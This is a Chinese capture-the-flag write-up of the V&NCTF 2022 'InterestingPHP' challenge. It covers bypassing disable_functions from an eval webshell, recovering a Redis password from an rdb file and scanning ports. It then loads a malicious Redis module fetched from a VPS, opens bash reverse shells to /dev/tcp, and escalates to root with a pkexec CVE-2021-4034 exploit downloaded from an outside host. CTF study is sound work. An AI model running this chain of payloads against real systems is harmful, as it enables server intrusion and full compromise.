[V&NCTF 2022]InterestingPHP

212 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

0x00 前言

比赛时候外出 回来复现了 只有4个人出 看来是挺难 贴一下源码 就知道没那么简单

<?php highlight_file(__FILE__); @eval($_GET['exp']);?>

0x01 brain.md

一开始试了几个发现都被ban了 连phpinfo都用不了.. 扩展新函数

ini_get_all
  • (PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

    ini_get_all — 获取所有配置选项

    说明 ¶ ini_get_all(string extension=?,boolextension = ?, bool details = true): array 获取所有已注册的配置选项

get_cfg_var
  • (PHP 4, PHP 5, PHP 7, PHP 8)

    get_cfg_var — 获取 PHP 配置选项的值

    说明 get_cfg_var(string $option): mixed 获取 PHP 配置选项 option 的值。

    此函数不会返回 PHP 编译的配置信息,或从 Apache 配置文件读取。

    检查系统是否使用了一个配置文件,并尝试获取 cfg_file_path 的配置设置的值。 如果有效,将会使用一个配置文件。

dump出来 or var_dump(get_cfg_var(xxx)) 太长就不贴了 我们需要注意的部分有disable_function、disable_class、open_basedir 在这里插入图片描述 disable_function

["disable_functions"]=> array(3) { ["global_value"]=> string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var" ["local_value"]=> string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var" ["access"]=> int(4) }

可以看到大多数都被ban了 好消息是file_put_contents还在 这也解释了为什么蚁剑虽然能连接上写的webshell,但虚拟终端无法执行命令 并且不能直接用蚁剑写文件(判断蚁剑用shell操作的函数都被ban了 但连接后凑巧看到了当前目录(exp和1都是后来自己写的) 在这里插入图片描述 想到rdb应该是突破口了 down下来 redis数据备份文件 猜测ye_w4nt_a_gir1fri3nd其为密码

REDIS0008� redis-ver4.0.9� redis-bits�@�ctime³��a�used-mem€� � aof-preamble� � � sercetye_w4nt_a_gir1fri3nd��nR�K��S

redis rdb文件格式详解

然后就需要探测redis服务端口了 学习赵总WMCTF的wp WMCTF2021-Web-Make PHP Great Again And Again WriteUp

探测服务端开放端口

http://270bf8f2-a616-4282-9e0e-f86ec36a110b.node4.buuoj.cn:81/?exp=eval($_POST[a]);
for($i=0;$i<65535;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}

在这里插入图片描述 或者

/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS
srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW
YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==

注:使用接口调试插件或base64编码进行传输,避免换行符等在参数传输时出错!!

stream_socket_server

(PHP 5, PHP 7, PHP 8)

stream_socket_server — Create an Internet or Unix domain server socket

说明 ¶

stream_socket_server(
    string $address,
    int &$error_code = null,
    string &$error_message = null,
    int $flags = STREAM_SERVER_BIND | STREAM_SERVER_LISTEN,
    ?resource $context = null
): resource|false

Creates a stream or datagram socket on the specified address.

This function only creates a socket, to begin accepting connections use stream_socket_accept(). EG:

<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
  echo "$errstr ($errno)<br />\n";
} else {
  while ($conn = stream_socket_accept($socket)) {
    fwrite($conn, 'The local time is ' . date('n/j/Y g:i a') . "\n");
    fclose($conn);
  }
  fclose($socket);
}
?>

从而知晓redis端口8888

get_loaded_extensions()

返回所有编译并加载模块名的 array var_dump出来看到有redis(redis.so)

redis module load rce

xz.aliyun.com/t/5665#toc-…

先用file_put_contents写入恶意so文件

github.com/n0b0dyCN/re…

远程down文件尽量使用py

import requests

url = "http://270bf8f2-a616-4282-9e0e-f86ec36a110b.node4.buuoj.cn/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
pay = "http://xxx(vps)/exp.so"
payload = '''
      function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);

            curl_close($ch);
            file_put_contents("exp.so",$result);
      }

      Curl("''' + pay + '''");
'''.strip()

data = {
    0: payload
}
r = requests.post(url, data, headers=headers).text
print(r)

CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

然后两种姿势module load 反弹shell

官方wp直接通过redis类执行命令

Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作

$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/VPS_IP/PORT <&1'");

在这里插入图片描述

利用gopher ssrf
import requests
from urllib import parse


url = "http://270bf8f2-a616-4282-9e0e-f86ec36a110b.node4.buuoj.cn/?exp=eval($_POST[0]);"
headers = {"content-type":"application/x-www-form-urlencoded"}

pay="""auth ye_w4nt_a_gir1fri3nd
module load ./exp.so
system.exec 'bash -c "bash -i >& /dev/tcp/vps_ip/7777 0>&1"'
quit
""".replace('\n','\r\n')

payload = '''
      function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);
            curl_close($ch);
            if($result!=''){
            echo $result;
            }
            
        } 
        Curl("gopher://127.0.0.1:8888/_'''+parse.quote(pay)+'''");
        '''

data = {
    0:payload
}

r = requests.post(url,data=data,headers=headers).text
print(r)

拿到shell后发现无权限 在这里插入图片描述 suid提权 --> pkexec提权

github.com/arthepsy/CV…

www-data@out:~/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
www-data@out:~/html$
www-data@out:~/html$ wget
wget
bash: wget: command not found
www-data@out:~/html$ curl xxx:888/cve-2021-4034-poc -o ./poc
curl xxx:888/cve-2021-4034-poc -o ./poc
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16296  100 16296    0     0   274k      0 --:--:-- --:--:-- --:--:--  279k
www-data@out:~/html$ ls
ls
exp.so
index.php
poc
secret.rdb
www-data@out:~/html$ ./poc
./poc
bash: ./poc: Permission denied
www-data@out:~/html$ chmod +x ./poc
chmod +x ./poc
www-data@out:~/html$ ./poc
./poc
whoami
root
cat /flag
flag{5c08372f-6b1c-4c31-97ff-2d5721369f49}

参考文章

blog.csdn.net/jvkyvly/art…